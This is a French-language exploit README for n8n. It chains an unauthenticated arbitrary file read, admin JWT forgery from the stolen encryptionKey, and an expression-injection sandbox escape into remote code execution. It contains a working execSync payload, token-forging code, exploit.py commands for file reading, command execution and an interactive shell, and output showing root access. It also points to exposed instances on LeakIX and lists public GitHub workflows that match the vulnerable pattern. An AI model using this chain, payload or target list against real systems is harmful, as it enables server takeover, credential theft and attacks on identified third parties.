
Automated exploit chain pour n8n combinant lecture arbitraire de fichiers, falsification de jeton administrateur et contournement du sandbox pour parvenir à une exécution de code à distance non authentifiée.
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Critique) |
| Affecté | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corrigé | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgué | 2026-01-07 11:09 UTC |
| Nom de code | Ni8mare |
| Crédit | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Processus | Automatisé par IA : diff de patch → repro → lab → exploit (~9h après divulgation) |
| Type | Preuve de concept - PAS un exploit universel (nécessite une configuration de workflow spécifique, voir Limitations) |
Chaîne complète de RCE non authentifiée sur n8n :
L'exposition est basée sur la version. En termes d'exposition, il existe des instances n8n vulnérables accessibles publiquement.
Résultats LeakIX : Voir les instances exposées
Cet exploit a été développé indépendamment du rapport de Cyera (découvert après son achèvement). Différences clés :
| Cyera (Recherche originale) | Cet exploit | |
|---|---|---|
| Lecture de fichier | Charger dans la base de connaissances IA → interroger via chat | Réponse HTTP directe |
| Prérequis | Workflow de chat + intégration IA | Tout formulaire avec téléversement de fichier |
| Méthode RCE | Nœud « Execute Command » (désactivé par défaut) | Injection d'expression (fonctionne sur les installations par défaut) |
| Automatisation | Démo manuelle/conceptuelle | Script Python entièrement automatisé |
Les deux approches nécessitent des configurations de workflow spécifiques. Cyera nécessite un chat + une intégration IA, cet exploit nécessite un formulaire avec un nœud Respond. Voir Limitations pour plus de détails.
┌───────────────────────────────────────────────────────────┐
│ NON AUTHENTIFIÉ │
├───────────────────────────────────────────────────────────┤
│ 1. Lire /proc/self/environ → Trouver le répertoire HOME │
│ 2. Lire $HOME/.n8n/config → Obtenir encryptionKey │
│ 3. Lire $HOME/.n8n/database.sqlite → Obtenir les identifiants admin │
├───────────────────────────────────────────────────────────┤
│ FORGE DE JETON │
├───────────────────────────────────────────────────────────┤
│ 4. Dériver le secret JWT à partir de encryptionKey │
│ 5. Forger le cookie de session admin │
├───────────────────────────────────────────────────────────┤
│ RCE AUTHENTIFIÉ │
├───────────────────────────────────────────────────────────┤
│ 6. Créer un workflow avec injection d'expression │
│ 7. Contournement de sandbox via this.process.mainModule.require │
│ 8. Exécuter des commandes arbitraires │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
Le légendaire « Merge commit from fork » - quand vous voyez ça, quelqu'un a trouvé quelque chose de piquant. 🌶️
// AVANT (vulnérable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// APRÈS (corrigé)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Envoyer Content-Type: application/json → contrôler filepath → lire n'importe quel fichier.
n8n isole le code utilisateur (nœud Code, expressions) avec vm2/isolated-vm. Autres vecteurs RCE :
| Technique | Statut |
|---|---|
| Nœud Execute Command | Désactivé par défaut (N8N_ALLOW_EXEC_COMMAND=false) |
| Nœuds SSH/HTTP | S'exécutent sur des serveurs distants, pas sur l'hôte n8n |
| Évasion de sandbox Pyodide | CVE-2025-68668 - nécessite le nœud Code Python |
| Injection d'expression | CVE-2025-68613 - fonctionne sur les installations par défaut |
J'ai utilisé l'injection d'expression car elle fonctionne sur n'importe quel n8n avec les paramètres par défaut - aucun nœud ou configuration spéciale requis. Le contournement Pyodide (CVE-2025-68668) nécessite le nœud Code Python qui peut ne pas être disponible sur toutes les instances.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Les expressions n8n ont accès à this.process.mainModule.require → évasion complète du sandbox.
# Dérivation du secret JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forger le jeton
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Attendre ~60 secondes pour la configuration
# Formulaire : http://localhost:5678/form/vulnerable-form
# Identifiants : [email protected] / password
# Lire un fichier arbitraire
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Chaîne complète avec commande
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Shell interactif
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n ║
║ Lecture arbitraire de fichier → Forge de jeton → Contournement de sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Cible : http://localhost:5678/form/vulnerable-form
[*] Version : 1.65.0 (VULN)
[x] Répertoire HOME
[+] Répertoire HOME : /root
[x] Clé de chiffrement
[+] Clé de chiffrement : yusrXZV1...
[x] Base de données
[+] Base de données : 1327104 octets
[x] Utilisateur admin
[+] Utilisateur admin : [email protected]
[x] Forge de jeton
[+] Forge de jeton : OK
[x] Accès admin
[+] Accès admin : ACCORDÉ !
[+] Cookie : n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE : OK
uid=0(root) gid=0(root) groups=0(root)
Ce n'est PAS un exploit « pwn n'importe quel n8n ». Il nécessite des conditions spécifiques pour fonctionner :
| Exigence | Description |
|---|---|
| Formulaire avec téléversement de fichier | La cible doit avoir un workflow de formulaire avec un champ de téléversement de fichier |
| Nœud Respond to Webhook | Le workflow doit renvoyer le contenu du fichier dans la réponse HTTP |
| Workflow actif | Le workflow de formulaire doit être activé |
| Accès non authentifié | Le formulaire doit être accessible publiquement (sans authentification) |
Exemple de configuration de workflow vulnérable :
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Les éléments clés sont : fieldType: "file" + respondWith: "binary". Ce modèle est courant dans les workflows de traitement de fichiers (convertisseurs, redimensionneurs d'images, processeurs de documents).
Fonctionne :
Ne fonctionne pas :
Remarque : La vulnérabilité (lecture arbitraire de fichier) est déclenchée indépendamment de la méthode d'exfiltration. Le nœud Respond n'est qu'un moyen de récupérer le contenu. Des méthodes alternatives (OOB, autres nœuds de sortie) peuvent fonctionner selon la configuration du workflow.
Exploitation aveugle : Si aucun nœud respond n'existe, le fichier est toujours lu par n8n mais ne peut pas être exfiltré via la réponse HTTP. Des techniques alternatives (OOB, timing) seraient nécessaires.
Le modèle vulnérable (Form Trigger + téléversement de fichier + Respond to Webhook) existe dans des dépôts GitHub publics.
Remarque : Les dépôts de workflows n8n populaires (>100⭐) n'utilisent pas ce modèle. Ce sont des projets communautaires/personnels :
| Fichier de workflow | Champs de fichier | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document(PDF) | text |
| ai_resume_project/resume_rag.json | Téléversement de fichier | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Fichier audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | fichier | text |
| voltixLandingPage/.../chatbotvoltix.json | Téléversement de fichier | défaut |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | fichier | défaut |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Téléversez votre document | défaut |
| learn_earn_ai_insta/.../My workflow.json | téléversez votre fichier | défaut |
| finintworkshop/.../API using n8n (ToT).json |
Ce sont des workflows contribués par la communauté. Aucun modèle officiel n8n.io n'utilise ce modèle vulnérable.
| fichier |
json |